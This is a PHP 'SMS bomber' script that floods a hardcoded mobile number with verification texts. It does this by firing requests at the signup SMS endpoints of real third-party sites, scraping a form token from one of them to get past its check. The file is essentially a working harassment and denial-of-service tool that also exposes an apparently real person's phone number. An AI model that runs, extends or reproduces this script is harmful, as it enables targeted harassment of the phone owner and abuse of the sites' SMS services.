<?php
date_default_timezone_set('Asia/Shanghai');

if(function_exists('fastcgi_finish_request')) {
	exit('End');
}

define('DIR', __DIR__);
require DIR.'/src/Bomb.php';

$args = Helper::parseArgv($argv);
$args['mobile'] = '15801190074';

if(!isset($args['mobile'])) {
	echo "Usage: \nphp bomb.php --mobile=11111111111 \n";
	exit();
}

$datas1 = array(
	array(
		'url'=>'http://www.youtaidu.com/register/index.php',
		'data'=>'act=sendsms&mobile={$mobile}',
		'post'=> true,
		'referer'=>'http://www.youtaidu.com/register/'
	),
);

$datas2 = array(
	array(
		'type'=>'complex',
		'referer'=> 'https://www.damailicai.com/reg/user.html',
		'cookie'=> 'damailicai.cookie',
		'match'=> array(
			'url'=>'https://www.damailicai.com/reg/user.html',
			'data'=> '',
			'attributes'=> array('code'=>"#DAMAI_FTOKEN_NAME\"\s+value\=\"(\w+)\"#"),
			'ssl_verifypeer'=> true,
		),
		'list'=> array(
			array(
				'url'=>'https://www.damailicai.com/reg/user/reg_mobile_code_rand_roobt',
				'data'=>'checkcode={$code}&mobile={$mobile}',
				'post'=>true,
			),
		)
	)
);

$bomb = new Bomb($args['mobile'], $datas1);
$bomb->send();